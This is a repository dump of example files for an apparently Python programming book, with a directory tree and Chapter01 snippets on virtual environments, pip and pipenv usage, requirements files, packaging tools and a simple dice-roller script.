├── .gitattributes
├── .gitignore
├── Chapter01
    ├── activate_venv.py
    ├── binary_wheel.py
    ├── cd_project.py
    ├── constraints_txt.py
    ├── create_venv.py
    ├── cwd.py
    ├── cxfreeze_install.py
    ├── cxfreeze_setup.py
    ├── cython_setup.py
    ├── dice_roll_results.py
    ├── dice_roller.py
    ├── dice_roller_tests.py
    ├── first_funct.py
    ├── first_module.py
    ├── git_local_file.py
    ├── git_tag.py
    ├── import_dice_roller.py
    ├── import_math.py
    ├── inplace_build.py
    ├── manifest_template.py
    ├── math_import_all.py
    ├── math_sin.py
    ├── nested_functions.py
    ├── new_temp_dir.py
    ├── nuitka_module.py
    ├── nuitka_recursive.py
    ├── nuitka_setup.py
    ├── package_tree.py
    ├── pip_force_install.py
    ├── pip_install.py
    ├── pip_install_latest.py
    ├── pip_install_minimum.py
    ├── pip_install_specific_version.py
    ├── pip_local_wheel.py
    ├── pip_outdated.py
    ├── pip_search.py
    ├── pip_show.py
    ├── pip_tmp_dir.py
    ├── pip_wheel.py
    ├── pipenv_install.py
    ├── pipenv_run.py
    ├── pipenv_shell.py
    ├── pipfile.py
    ├── pipfile_lock.py
    ├── print_enum.py
    ├── print_funct.py
    ├── print_mult_args.py
    ├── project_hash.py
    ├── py2exe_setup.py
    ├── pyinstaller.py
    ├── randint.py
    ├── randrange.py
    ├── rel_imports.py
    ├── requirements_txt.py
    ├── second_funct.py
    ├── second_module.py
    ├── sin_no_import.py
    ├── tar_file.py
    ├── temp_dir.py
    ├── third_module.py
    ├── twine_error.py
    ├── twine_registration.py
    ├── twine_upload.py
    ├── universal_wheel.py
    ├── untar_file.py
    ├── versioning.py
    └── wheel_create.py
├── Chapter02
    ├── apt_install_package.py
    ├── bpython_requirements.py
    ├── bypthon_clone.py
    ├── bypthon_install.py
    ├── call_module.py
    ├── command_opts.py
    ├── dreampie_clone.py
    ├── exec_script.py
    ├── interactive_mode.py
    ├── ipython_prompt.py
    ├── ironpython_install.py
    ├── jupyter_install.py
    ├── jython_console.py
    ├── jython_install.py
    ├── make_html.py
    ├── micropython.py
    ├── os_environ.py
    ├── print_path.py
    ├── read_startup.py
    ├── run_command.py
    ├── run_ipython.py
    ├── run_script.py
    ├── specify_version.py
    ├── stackless_install.py
    ├── startup_script.py
    ├── windows_install.py
    ├── winpy_error.py
    └── winpy_version.py
├── Chapter03
    ├── add_attributes.py
    ├── call_dec.py
    ├── call_funct.py
    ├── cat_class.py
    ├── cat_instance.py
    ├── circle_call.py
    ├── class_method.py
    ├── dec_funct.py
    ├── dec_wrapper.py
    ├── decorated_funct.py
    ├── decorator.py
    ├── decorator_appearance.py
    ├── decorator_args.py
    ├── decorator_value.py
    ├── def_memoize.py
    ├── define_decorator.py
    ├── define_login.py
    ├── final_code.py
    ├── funct_as_arg.py
    ├── funct_names.py
    ├── funct_nesting.py
    ├── funct_param.py
    ├── funct_scope.py
    ├── function_enforcement.py
    ├── generic_funct.py
    ├── import_flask.py
    ├── import_wraps.py
    ├── inventory_dec.py
    ├── long_flask_program.py
    ├── main_funct.py
    ├── memoize_dec.py
    ├── memoize_funct.py
    ├── return_funct.py
    ├── run_memoize.py
    ├── static_method.py
    ├── time_dec.py
    ├── time_decorator_creation.py
    └── whole_program.py
├── Chapter04
    ├── adult_list_comp.py
    ├── age_groups.py
    ├── bags_vs_counter.py
    ├── book_catalog.py
    ├── chainmap_builtins.py
    ├── chainmap_combined.py
    ├── chainmap_import.py
    ├── chainmap_nested_context.py
    ├── class_adult.py
    ├── count_elements.py
    ├── counter_del.py
    ├── counter_import.py
    ├── counter_math.py
    ├── counter_most_common.py
    ├── counter_ops.py
    ├── counter_shortcuts.py
    ├── counter_subtract.py
    ├── counter_text_map.py
    ├── counter_zero.py
    ├── deep_chainmap.py
    ├── defauldict_items.py
    ├── defaultdict_age_groups.py
    ├── defaultdict_counting.py
    ├── defaultdict_error.py
    ├── defaultdict_import.py
    ├── defaultdict_lambda.py
    ├── defaultdict_set.py
    ├── defaultdict_setdefault.py
    ├── deque_add_items.py
    ├── deque_avg.py
    ├── deque_clear.py
    ├── deque_delete.py
    ├── deque_extend.py
    ├── deque_extendleft.py
    ├── deque_in.py
    ├── deque_instance.py
    ├── deque_iter.py
    ├── deque_list.py
    ├── deque_peek.py
    ├── deque_pop.py
    ├── deque_repr.py
    ├── deque_reverse.py
    ├── deque_reverse2.py
    ├── deque_rotate.py
    ├── deque_tail.py
    ├── dict_to_namedtuple.py
    ├── diff_sort.py
    ├── employee_record_tuple.py
    ├── ext_collections_bag.py
    ├── ext_collections_bag_compare.py
    ├── ext_collections_bag_compare2.py
    ├── ext_collections_bijection.py
    ├── ext_collections_rangemap.py
    ├── ext_collections_setlist.py
    ├── file_open.py
    ├── getattr.py
    ├── import_csv.py
    ├── import_deque.py
    ├── import_sqlite.py
    ├── list_of_lists.py
    ├── list_sort.py
    ├── namedtuple_account.py
    ├── namedtuple_asdict.py
    ├── namedtuple_book.py
    ├── namedtuple_create.py
    ├── namedtuple_fields.py
    ├── namedtuple_indexed.py
    ├── namedtuple_instance.py
    ├── namedtuple_make.py
    ├── namedtuple_names.py
    ├── namedtuple_replace.py
    ├── namedtuple_repr.py
    ├── namedtuple_sales.py
    ├── namedtuple_subclass.py
    ├── namedtuple_unpack.py
    ├── ordereddict_counter.py
    ├── ordereddict_keys.py
    ├── ordereddict_move.py
    ├── ordereddict_reduce.py
    ├── ordereddict_rem_reduce.py
    ├── ordereddict_store_keys.py
    ├── ordereddict_use.py
    ├── receipts_make.py
    ├── sales_csv.py
    ├── store_fields.py
    ├── student_grades.py
    ├── userdict_import.py
    ├── userlist_import.py
    └── userstring_import.py
├── Chapter05
    ├── asyncio_concurrent.py
    ├── asyncio_multi_jobs.py
    ├── coroutine_decorator.py
    ├── coroutine_func.py
    ├── coroutine_input.py
    ├── coroutine_instance.py
    ├── coroutine_next.py
    ├── define_child.py
    ├── define_parent.py
    ├── gen_comprehension.py
    ├── gen_comprehension_loop.py
    ├── generator_example.py
    ├── list_comprehension.py
    ├── multi_process_retrieval.py
    ├── multi_thread_retrieval.py
    ├── os_import.py
    ├── reverse_seq.py
    ├── single_thread.py
    └── time_funct.py
├── Chapter07
    ├── add_funct.py
    ├── beer_loop.py
    ├── change_variable.py
    ├── great_circle.py
    ├── loop_funct.c
    ├── loop_funct.py
    ├── time.py
    └── time2.py
├── Chapter08
    ├── audit_hook.py
    ├── audit_hook_api.py
    ├── callback_collect.txt
    ├── collect_gens.txt
    ├── gc_collect.txt
    ├── gc_get_mode.txt
    ├── gc_malloc.txt
    ├── gc_set_mode.txt
    ├── gc_thread.txt
    ├── hook_handler.py
    ├── hook_handler_api.py
    ├── implicit_gc.txt
    ├── interpreter_data_share.txt
    ├── interpreter_exception.txt
    ├── interpreter_isolate.txt
    ├── interpreter_marshal.txt
    ├── interpreter_pickle.txt
    ├── interpreter_prepopulate.txt
    ├── interpreter_spawn_thread.txt
    ├── interpreter_synch.txt
    ├── launch_malware.py
    ├── lock_collect.txt
    ├── sched_gc.txt
    ├── subinterpreter_module.txt
    ├── subinterpreter_pool.txt
    └── subinterpreter_script.txt
├── Chapter09
    ├── alert.js
    ├── docstring_example.py
    ├── doctest.py
    ├── jsf.js
    └── perl_interactive.pl
├── LICENSE
└── README.md


/.gitattributes:
--------------------------------------------------------------------------------
 1 | # Auto detect text files and perform LF normalization
 2 | * text=auto
 3 | 
 4 | # Custom for Visual Studio
 5 | *.cs     diff=csharp
 6 | 
 7 | # Standard to msysgit
 8 | *.doc	 diff=astextplain
 9 | *.DOC	 diff=astextplain
10 | *.docx diff=astextplain
11 | *.DOCX diff=astextplain
12 | *.dot  diff=astextplain
13 | *.DOT  diff=astextplain
14 | *.pdf  diff=astextplain
15 | *.PDF	 diff=astextplain
16 | *.rtf	 diff=astextplain
17 | *.RTF	 diff=astextplain
18 | 


--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
 1 | # Windows image file caches
 2 | Thumbs.db
 3 | ehthumbs.db
 4 | 
 5 | # Folder config file
 6 | Desktop.ini
 7 | 
 8 | # Recycle Bin used on file shares
 9 | $RECYCLE.BIN/
10 | 
11 | # Windows Installer files
12 | *.cab
13 | *.msi
14 | *.msm
15 | *.msp
16 | 
17 | # Windows shortcuts
18 | *.lnk
19 | 
20 | # =========================
21 | # Operating System Files
22 | # =========================
23 | 
24 | # OSX
25 | # =========================
26 | 
27 | .DS_Store
28 | .AppleDouble
29 | .LSOverride
30 | 
31 | # Thumbnails
32 | ._*
33 | 
34 | # Files that might appear in the root of a volume
35 | .DocumentRevisions-V100
36 | .fseventsd
37 | .Spotlight-V100
38 | .TemporaryItems
39 | .Trashes
40 | .VolumeIcon.icns
41 | 
42 | # Directories potentially created on remote AFP share
43 | .AppleDB
44 | .AppleDesktop
45 | Network Trash Folder
46 | Temporary Items
47 | .apdisk
48 | 


--------------------------------------------------------------------------------
/Chapter01/activate_venv.py:
--------------------------------------------------------------------------------
1 | source <dir_name>/bin/activate
2 | 
3 | 


--------------------------------------------------------------------------------
/Chapter01/binary_wheel.py:
--------------------------------------------------------------------------------
1 | python setup.py bdist_wheel
2 | 
3 | 


--------------------------------------------------------------------------------
/Chapter01/cd_project.py:
--------------------------------------------------------------------------------
1 | >>> cd <project_name>
2 | 


--------------------------------------------------------------------------------
/Chapter01/constraints_txt.py:
--------------------------------------------------------------------------------
 1 |  # math / science / graph stuff
 2 | bokeh==0.11.1
 3 | numpy==1.10.4
 4 | pandas==0.17.1
 5 | scipy==0.17.0
 6 | openpyxl==2.3.3
 7 | patsy==0.4.1
 8 | matplotlib==1.5.1
 9 | ggplot==0.6.8
10 | Theano==0.7.0
11 | seaborn==0.7.0
12 | scikit-learn==0.17
13 | 
14 | pymldb==0.8.1
15 | pivottablejs==0.1.0
16 | 
17 | # Progress bar
18 | tqdm==4.11.0
19 | 
20 | # notebook and friends
21 | ipython==5.1.0
22 | jupyter==1.0.0
23 | jupyter-client==4.4.0
24 | jupyter-console==5.0.0
25 | jupyter-core==4.2.1
26 | 
27 | # validator
28 | uWSGI==2.0.12
29 | pycrypto==2.6.1
30 | 
31 | tornado==4.4.2
32 | 
33 | ## The following requirements were added by pip freeze:
34 | backports-abc==0.5
35 | backports.shutil-get-terminal-size==1.0.0
36 | backports.ssl-match-hostname==3.5.0.1
37 | bleach==1.5.0
38 | 
39 | ***further files truncated***
40 | 


--------------------------------------------------------------------------------
/Chapter01/create_venv.py:
--------------------------------------------------------------------------------
1 | >>> python3 -m venv <dir_name>
2 | 
3 | 


--------------------------------------------------------------------------------
/Chapter01/cwd.py:
--------------------------------------------------------------------------------
1 | $ cwd = `pwd`
2 | 
3 | 


--------------------------------------------------------------------------------
/Chapter01/cxfreeze_install.py:
--------------------------------------------------------------------------------
1 | cxfreeze <program>.py --target-dir=<directory>
2 | 
3 | 


--------------------------------------------------------------------------------
/Chapter01/cxfreeze_setup.py:
--------------------------------------------------------------------------------
 1 | import sys
 2 | from cx_Freeze import setup, Executable
 3 | 
 4 | # Dependencies are automatically detected, but it might need fine tuning.
 5 | build_exe_options = {"packages": ["os"], "excludes": ["tkinter"]}
 6 | 
 7 | # GUI applications require a different base on Windows (the default is for a
 8 | # console application).
 9 | base = None
10 | if sys.platform == "win32":
11 |     base = "Win32GUI"
12 | 
13 | setup(  name = "guifoo",
14 |         version = "0.1",
15 |         description = "My GUI application!",
16 |         options = {"build_exe": build_exe_options},
17 |         executables = [Executable("guifoo.py", base=base)])
18 | 


--------------------------------------------------------------------------------
/Chapter01/cython_setup.py:
--------------------------------------------------------------------------------
1 | from distutils.core import setup
2 | from Cython.Build import cythonize
3 | 
4 | setup(
5 |     ext_modules = cythonize("helloworld.pyx")
6 | )
7 | 


--------------------------------------------------------------------------------
/Chapter01/dice_roll_results.py:
--------------------------------------------------------------------------------
 1 | $ python3 random_dice.py 1
 2 | 2
 3 | $ python3 random_dice.py 2
 4 | 10
 5 | $ python3 random_dice.py 3
 6 | 63
 7 | $ python3 random_dice.py 4
 8 | 2
 9 | $ python3 random_dice.py 5
10 | 5
11 | $ python3 random_dice.py 6
12 | 6
13 | $ python3 random_dice.py 7
14 | 17
15 | $ python3 random_dice.py 8
16 | Shouldn't be here. Invalid choice
17 | 


--------------------------------------------------------------------------------
/Chapter01/dice_roller.py:
--------------------------------------------------------------------------------
 1 | import random
 2 | def randomNumGen(choice):
 3 |     if choice == 1: #d6 roll
 4 |         die = random.randint(1, 6)
 5 |     elif choice == 2: #d10 roll
 6 |         die = random.randint(1, 10)
 7 |     elif choice == 3: #d100 roll
 8 |         die = random.randint(1, 100)
 9 |     elif choice == 4: #d4 roll
10 |       die = random.randint(1, 4)
11 |     elif choice == 5: #d8 roll
12 |       die = random.randint(1, 8)
13 |     elif choice == 6: #d12 roll
14 |       die = random.randint(1, 12)
15 |     elif choice == 7: #d20 roll
16 |       die = random.randint(1, 20)
17 |     else: #simple error message
18 |         return "Shouldn't be here. Invalid choice"
19 |     return die
20 | if __name__ == "__main__":
21 |     import sys
22 |     print(randomNumGen(int(sys.argv[1])))
23 | 


--------------------------------------------------------------------------------
/Chapter01/dice_roller_tests.py:
--------------------------------------------------------------------------------
 1 | import random #randint
 2 | def randomNumGen(choice):
 3 |     """Get a random number to simulate a d6, d10, or d100 roll."""
 4 |     
 5 |     if choice == 1: #d6 roll
 6 |       die = random.randint(1, 6)
 7 |     elif choice == 2: #d10 roll
 8 |         die = random.randint(1, 10)
 9 |     elif choice == 3: #d100 roll
10 |         die = random.randint(1, 100)
11 |     elif choice == 4: #d4 roll
12 |       die = random.randint(1, 4)
13 |     elif choice == 5: #d8 roll
14 |       die = random.randint(1, 8)
15 |     elif choice == 6: #d12 roll
16 |       die = random.randint(1, 12)
17 |     elif choice == 7: #d20 roll
18 |       die = random.randint(1, 20)
19 |     else: #simple error message
20 |         return "Shouldn't be here. Invalid choice"
21 |     return die
22 | def multiDie(dice_number, die_type):
23 |     """Add die rolls together, e.g. 2d6, 4d10, etc."""
24 |     
25 | #---Initialize variables 
26 |     final_roll = 0
27 |     val = 0
28 |     
29 |     while val < dice_number:
30 |         final_roll += randomNumGen(die_type)
31 |         val += 1
32 |     return final_roll
33 | def test():
34 |     """Test criteria to show script works."""
35 |     
36 |     _1d6 = multiDie(1,1) #1d6
37 |     print("1d6 = ", _1d6, end=' ') 
38 |     _2d6 = multiDie(2,1) #2d6
39 |     print("\n2d6 = ", _2d6, end=' ')
40 |     _3d6 = multiDie(3,1) #3d6
41 |     print("\n3d6 = ", _3d6, end=' ')
42 |     _4d6 = multiDie(4,1) #4d6
43 |     print("\n4d6 = ", _4d6, end=' ')
44 |     _1d10 = multiDie(1,2) #1d10
45 |     print("\n1d10 = ", _1d10, end=' ')
46 |     _2d10 = multiDie(2,2) #2d10
47 |     print("\n2d10 = ", _2d10, end=' ')
48 |     _3d10 = multiDie(2,2) #3d10
49 |     print("\n3d10 = ", _3d10, end=' ')
50 |     _d100 = multiDie(1,3) #d100
51 |     print("\n1d100 = ", _d100, end=' ') 
52 |     
53 | if __name__ == "__main__": #run test() if calling as a separate program
54 |     test()
55 | 


--------------------------------------------------------------------------------
/Chapter01/first_funct.py:
--------------------------------------------------------------------------------
1 | >>> first_funct()
2 | 1
3 | 2
4 | 


--------------------------------------------------------------------------------
/Chapter01/first_module.py:
--------------------------------------------------------------------------------
1 | m1
2 | 
3 | 


--------------------------------------------------------------------------------
/Chapter01/git_local_file.py:
--------------------------------------------------------------------------------
1 | git+https://<vcs>/<dependency>@<tag_name>#egg=<dependency>
2 | 
3 | 


--------------------------------------------------------------------------------
/Chapter01/git_tag.py:
--------------------------------------------------------------------------------
1 | git tag -a <tag_name> -m "<tag_message>"
2 | 
3 | 


--------------------------------------------------------------------------------
/Chapter01/import_dice_roller.py:
--------------------------------------------------------------------------------
 1 | >>> import Random_Dice_Roller
 2 | >>> Random_Dice_Roller.test()
 3 | 1d6 = 1 
 4 | 2d6 = 8 
 5 | 3d6 = 10 
 6 | 4d6 = 12 
 7 | 1d10 = 5 
 8 | 2d10 = 8 
 9 | 3d10 = 6 
10 | 1d100 = 26
11 | 


--------------------------------------------------------------------------------
/Chapter01/import_math.py:
--------------------------------------------------------------------------------
1 | >>> import math
2 | 
3 | 


--------------------------------------------------------------------------------
/Chapter01/inplace_build.py:
--------------------------------------------------------------------------------
1 | $ python setup.py build_ext --inplace
2 | 
3 | 


--------------------------------------------------------------------------------
/Chapter01/manifest_template.py:
--------------------------------------------------------------------------------
1 | include *.txt
2 | recursive-include examples *.txt *.py
3 | prune examples/sample?/build
4 | 


--------------------------------------------------------------------------------
/Chapter01/math_import_all.py:
--------------------------------------------------------------------------------
1 | >>> from math import *
2 | >>> sin(45)
3 | 0.8509035245341184
4 | 


--------------------------------------------------------------------------------
/Chapter01/math_sin.py:
--------------------------------------------------------------------------------
1 | >>> math.sin(45)
2 | 0.8509035245341184
3 | 


--------------------------------------------------------------------------------
/Chapter01/nested_functions.py:
--------------------------------------------------------------------------------
1 | >>> def first_funct():
2 | ...    x = 1
3 | ...    print(x)
4 | ...    def second_funct():
5 | ...        x = 2
6 | ...        print(x)
7 | ...    second_funct()
8 | ...
9 | 


--------------------------------------------------------------------------------
/Chapter01/new_temp_dir.py:
--------------------------------------------------------------------------------
1 | $ tempdir=$(mktemp -d /tmp/wheelhouse-XXXXX)
2 | 
3 | 


--------------------------------------------------------------------------------
/Chapter01/nuitka_module.py:
--------------------------------------------------------------------------------
1 | nuitka --module <module>.py
2 | 
3 | 


--------------------------------------------------------------------------------
/Chapter01/nuitka_recursive.py:
--------------------------------------------------------------------------------
1 | nuitka --module <package> --recurse-directory=<package>
2 | 
3 | 


--------------------------------------------------------------------------------
/Chapter01/nuitka_setup.py:
--------------------------------------------------------------------------------
1 | nuitka --recurse-all <program>.py
2 | 
3 | 


--------------------------------------------------------------------------------
/Chapter01/package_tree.py:
--------------------------------------------------------------------------------
 1 | video/                  # Top-level package
 2 |     __init__.py         # Top-level initialization
 3 |     formats/            # Sub-package for file formats
 4 |         __init__.py     # Package-level initialization
 5 |         avi_in.py
 6 |         avi_out.py
 7 |         mpg2_in.py
 8 |         mpg2_out.py
 9 |         webm_in.py
10 |         webm_out.py
11 |     effects/             # Sub-package for video effects
12 |         specialFX/       # Sub-package for special effects
13 |             __init__.py
14 |             sepia.py
15 |             mosaic.py
16 |             old_movie.py
17 |             glass.py
18 |             pencil.py
19 |             tv.py
20 |         transform/        # Sub-package for transform effects
21 |             __init__.py
22 |             flip.py
23 |             skew.py
24 |             rotate.py
25 |             mirror.py
26 |             wave.py
27 |             broken_glass.py
28 |         draw/              # Sub-package for draw effects
29 |             __init__.py
30 |             rectangle.py
31 |             ellipse.py
32 |             border.py
33 |             line.py
34 |             polygon.py
35 | 


--------------------------------------------------------------------------------
/Chapter01/pip_force_install.py:
--------------------------------------------------------------------------------
1 | $ pip install --force-reinstall --ignore-installed --upgrade --no-index --no-deps $tempdir/*
2 | 


--------------------------------------------------------------------------------
/Chapter01/pip_install.py:
--------------------------------------------------------------------------------
1 | pip install <module>
2 | 
3 | 


--------------------------------------------------------------------------------
/Chapter01/pip_install_latest.py:
--------------------------------------------------------------------------------
1 | $ pip install <package_name>
2 | 
3 | 


--------------------------------------------------------------------------------
/Chapter01/pip_install_minimum.py:
--------------------------------------------------------------------------------
1 | $ pip install "<package_name> >= 1.1"
2 | 
3 | 


--------------------------------------------------------------------------------
/Chapter01/pip_install_specific_version.py:
--------------------------------------------------------------------------------
1 | $ pip install <package_name>==1.2.2
2 | 
3 | 


--------------------------------------------------------------------------------
/Chapter01/pip_local_wheel.py:
--------------------------------------------------------------------------------
1 | pip install /local_files/SomePackage-1.2-py2.py3-none-any.whl
2 | 
3 | 


--------------------------------------------------------------------------------
/Chapter01/pip_outdated.py:
--------------------------------------------------------------------------------
1 | $ pip list --outdated
2 | docutils (Current: 0.10 Latest: 0.11)
3 | Sphinx (Current: 1.2.1 Latest: 1.2.2)
4 | 


--------------------------------------------------------------------------------
/Chapter01/pip_search.py:
--------------------------------------------------------------------------------
1 | $ pip search peppercorn
2 | pepperedform    - Helpers for using peppercorn with formprocess.
3 | peppercorn      - A library for converting a token stream into [...]
4 | 


--------------------------------------------------------------------------------
/Chapter01/pip_show.py:
--------------------------------------------------------------------------------
 1 | $ pip show sphinx
 2 | Name: Sphinx
 3 | Version: 1.4.5
 4 | Summary: Python documentation generator
 5 | Home-page: http://sphinx-doc.org/
 6 | Author: Georg Brandl
 7 | Author-email: georg@python.org
 8 | License: BSD
 9 | Location: /my/env/lib/python2.7/site-packages
10 | Requires: docutils, snowballstemmer, alabaster, Pygments, imagesize, Jinja2, babel, six
11 | 


--------------------------------------------------------------------------------
/Chapter01/pip_tmp_dir.py:
--------------------------------------------------------------------------------
1 | $ pip wheel -r requirements.txt --wheel-dir = $tempdir
2 | 
3 | 


--------------------------------------------------------------------------------
/Chapter01/pip_wheel.py:
--------------------------------------------------------------------------------
1 | pip install <some_package>
2 | 
3 | 


--------------------------------------------------------------------------------
/Chapter01/pipenv_install.py:
--------------------------------------------------------------------------------
1 | >>> pipenv install <module>
2 | 
3 | 


--------------------------------------------------------------------------------
/Chapter01/pipenv_run.py:
--------------------------------------------------------------------------------
1 | >>>pipenv run python3 <program_name>.py
2 | 
3 | 


--------------------------------------------------------------------------------
/Chapter01/pipenv_shell.py:
--------------------------------------------------------------------------------
 1 | cody@cody-Serval-WS ~ $ pipenv shell
 2 | Creating a virtualenv for this project...
 3 | ⠋Using base prefix '/usr/local'
 4 | New python executable in 
 5 | /home/cody/.local/share/virtualenvs/cody-Vi_4YmwP/bin/python3.6 
 6 | Also creating executable in 
 7 | /home/cody/.local/share/virtualenvs/cody-Vi_4YmwP/bin/python
 8 | Installing setuptools, pip, wheel...done.
 9 | Virtualenv location: 
10 | /home/cody/.local/share/virtualenvs/cody-Vi_4YmwP
11 | Creating a Pipfile for this project…
12 | Spawning environment shell (/bin/bash). Use 'exit' to leave.
13 | cody@cody-Serval-WS ~ $ source 
14 | /home/cody/.local/share/virtualenvs/cody-Vi_4YmwP/bin/activate
15 | (cody-Vi_4YmwP) cody@cody-Serval-WS ~ $
16 | 


--------------------------------------------------------------------------------
/Chapter01/pipfile.py:
--------------------------------------------------------------------------------
 1 | [[source]]
 2 | url = "https://pypi.python.org/simple"
 3 | verify_ssl = true
 4 | name = "pypi"
 5 | 
 6 | [packages]
 7 | requests = "*"
 8 | 
 9 | 
10 | [dev-packages]
11 | pytest = "*"
12 | 


--------------------------------------------------------------------------------
/Chapter01/pipfile_lock.py:
--------------------------------------------------------------------------------
 1 | {
 2 |     "_meta": {
 3 |         "hash": {
 4 |             "sha256": "8d14434df45e0ef884d6c3f6e8048ba72335637a8631cc44792f52fd20b6f97a"
 5 |         },
 6 |         "host-environment-markers": {
 7 |             "implementation_name": "cpython",
 8 |             "implementation_version": "3.6.1",
 9 |             "os_name": "posix",
10 |             "platform_machine": "x86_64",
11 |             "platform_python_implementation": "CPython",
12 |             "platform_release": "16.7.0",
13 |             "platform_system": "Darwin",
14 |             "platform_version": "Darwin Kernel Version 16.7.0: Thu Jun 15 17:36:27 PDT 2017; root:xnu-3789.70.16~2/RELEASE_X86_64",
15 |             "python_full_version": "3.6.1",
16 |             "python_version": "3.6",
17 |             "sys_platform": "darwin"
18 |         },
19 |         "pipfile-spec": 5,
20 |         "requires": {},
21 |         "sources": [
22 |             {
23 |                 "name": "pypi",
24 |                 "url": "https://pypi.python.org/simple",
25 |                 "verify_ssl": true
26 |             }
27 |         ]
28 |     },
29 |     "default": {
30 |         "certifi": {
31 |             "hashes": [
32 |                 "sha256:54a07c09c586b0e4c619f02a5e94e36619da8e2b053e20f594348c0611803704",
33 |                 "sha256:40523d2efb60523e113b44602298f0960e900388cf3bb6043f645cf57ea9e3f5"
34 |             ],
35 |             "version": "==2017.7.27.1"
36 |         },
37 |         "chardet": {
38 |             "hashes": [
39 |                 "sha256:fc323ffcaeaed0e0a02bf4d117757b98aed530d9ed4531e3e15460124c106691",
40 |                 "sha256:84ab92ed1c4d4f16916e05906b6b75a6c0fb5db821cc65e70cbd64a3e2a5eaae"
41 |             ],
42 |             "version": "==3.0.4"
43 |         },
44 | 
45 | ***further entries truncated***
46 | 


--------------------------------------------------------------------------------
/Chapter01/print_enum.py:
--------------------------------------------------------------------------------
 1 | >>> def print_input(*args):
 2 | ...   for val, input in enumerate(args):
 3 | ...       print("{}. {}".format(val, input))
 4 | ...
 5 | >>> print_input("spam", "spam", "eggs", "spam")
 6 | 0. spam
 7 | 1. spam
 8 | 2. eggs
 9 | 3. spam
10 | 


--------------------------------------------------------------------------------
/Chapter01/print_funct.py:
--------------------------------------------------------------------------------
1 | def print_funct(arg):
2 |     print(arg)
3 | if __name__ == "__main__":
4 |     import sys
5 |     print_funct(sys.argv[1])
6 | 


--------------------------------------------------------------------------------
/Chapter01/print_mult_args.py:
--------------------------------------------------------------------------------
1 | def print_funct(arg1, arg2, arg3):
2 |     print(arg1, arg2, arg3)
3 | if __name__ == "__main__":
4 |     import sys
5 |     print_funct(sys.argv[1], sys.argv[2], sys.argv[3])
6 | 


--------------------------------------------------------------------------------
/Chapter01/project_hash.py:
--------------------------------------------------------------------------------
1 | FooProject == 1.2 --hash=sha256:<hash_digest>
2 | 
3 | 


--------------------------------------------------------------------------------
/Chapter01/py2exe_setup.py:
--------------------------------------------------------------------------------
1 | from distutils.core import setup
2 | import py2exe
3 | setup(console=['hello.py'])
4 | 


--------------------------------------------------------------------------------
/Chapter01/pyinstaller.py:
--------------------------------------------------------------------------------
1 |  pyinstaller <program>.py
2 | 
3 | 


--------------------------------------------------------------------------------
/Chapter01/randint.py:
--------------------------------------------------------------------------------
1 | >>> randint(0, 1000)
2 | Traceback (most recent call last):
3 | File "<stdin>", line 1, in <module>
4 | NameError: name 'randint' is not defined
5 | >>> import random
6 | >>> random.randint(0, 1000)
7 | 607
8 | 


--------------------------------------------------------------------------------
/Chapter01/randrange.py:
--------------------------------------------------------------------------------
1 | >>> from random import randint
2 | >>> randint(0, 10)
3 | 2
4 | >>> randrange(0, 25)
5 | Traceback (most recent call last):
6 |   File "<stdin>", line 1, in <module>
7 | NameError: name 'randrange' is not defined
8 | 


--------------------------------------------------------------------------------
/Chapter01/rel_imports.py:
--------------------------------------------------------------------------------
1 | from . import mosaic
2 | from .. import transform
3 | from .. draw import rectangle
4 | 


--------------------------------------------------------------------------------
/Chapter01/requirements_txt.py:
--------------------------------------------------------------------------------
 1 | #
 2 | ####### example-requirements.txt #######
 3 | #
 4 | ###### Requirements without Version Specifiers ######
 5 | nose
 6 | nose-cov
 7 | beautifulsoup4
 8 | #
 9 | ###### Requirements with Version Specifiers ######
10 | #   See https://www.python.org/dev/peps/pep-0440/#version-specifiers
11 | docopt == 0.6.1             # Version Matching. Must be version 0.6.1
12 | keyring >= 4.1.1            # Minimum version 4.1.1
13 | coverage != 3.5             # Version Exclusion. Anything except version 3.5
14 | Mopidy-Dirble ~= 1.1        # Compatible release. Same as >= 1.1, == 1.*
15 | #
16 | ###### Refer to other requirements files ######
17 | -r other-requirements.txt
18 | #
19 | #
20 | ###### A particular file ######
21 | ./downloads/numpy-1.9.2-cp34-none-win32.whl
22 | http://wxpython.org/Phoenix/snapshot-builds/wxPython_Phoenix-3.0.3.dev1820+49a8884-cp34-none-win_amd64.whl
23 | #
24 | ###### Additional Requirements without Version Specifiers ######
25 | #   Same as 1st section, just here to show that you can put things in any order.
26 | rejected
27 | green
28 | #
29 | 


--------------------------------------------------------------------------------
/Chapter01/second_funct.py:
--------------------------------------------------------------------------------
1 | >>> second_funct()
2 | Traceback (most recent call last):
3 | File "<stdin>", line 1, in <module>
4 | NameError: name 'second_funct' is not defined
5 | 


--------------------------------------------------------------------------------
/Chapter01/second_module.py:
--------------------------------------------------------------------------------
1 | m2<1.7
2 | 
3 | 


--------------------------------------------------------------------------------
/Chapter01/sin_no_import.py:
--------------------------------------------------------------------------------
1 | >>> sin(45)
2 | Traceback (most recent call last):
3 |   File "<stdin>", line 1, in <module>
4 | NameError: name 'sin' is not defined
5 | 


--------------------------------------------------------------------------------
/Chapter01/tar_file.py:
--------------------------------------------------------------------------------
1 | $ (cd "$tempdir"; tar -cjvf "$cwd/<archive>.tar.bz2" *)
2 | 
3 | 


--------------------------------------------------------------------------------
/Chapter01/temp_dir.py:
--------------------------------------------------------------------------------
1 | $ tempdir = $(mktemp -d /tmp/archive_dir)
2 | 
3 | 


--------------------------------------------------------------------------------
/Chapter01/third_module.py:
--------------------------------------------------------------------------------
1 | m3>=1.5, <=2.0
2 | 
3 | 


--------------------------------------------------------------------------------
/Chapter01/twine_error.py:
--------------------------------------------------------------------------------
1 | HTTPError: 403 Client Error: You are not allowed to edit 'xyz' package information
2 | 


--------------------------------------------------------------------------------
/Chapter01/twine_registration.py:
--------------------------------------------------------------------------------
1 | twine register dist/<project>.<version>.tar.gz
2 | twine register dist/<package_name>-<version>-<language_version>-<abi_tag>-<platform_tag>.whl
3 | 


--------------------------------------------------------------------------------
/Chapter01/twine_upload.py:
--------------------------------------------------------------------------------
1 | twine upload dist/*
2 | 
3 | 


--------------------------------------------------------------------------------
/Chapter01/universal_wheel.py:
--------------------------------------------------------------------------------
1 | python setup.py bdist_wheel --universal
2 | 
3 | 


--------------------------------------------------------------------------------
/Chapter01/untar_file.py:
--------------------------------------------------------------------------------
1 | $ (cd $tempdir; tar -xvf /path/to/<archive>.tar.bz2)
2 | 
3 | 


--------------------------------------------------------------------------------
/Chapter01/versioning.py:
--------------------------------------------------------------------------------
1 | 2.1.0.dev1  # Development release
2 | 2.1.0a1     # Alpha Release
3 | 2.1.0b1     # Beta Release
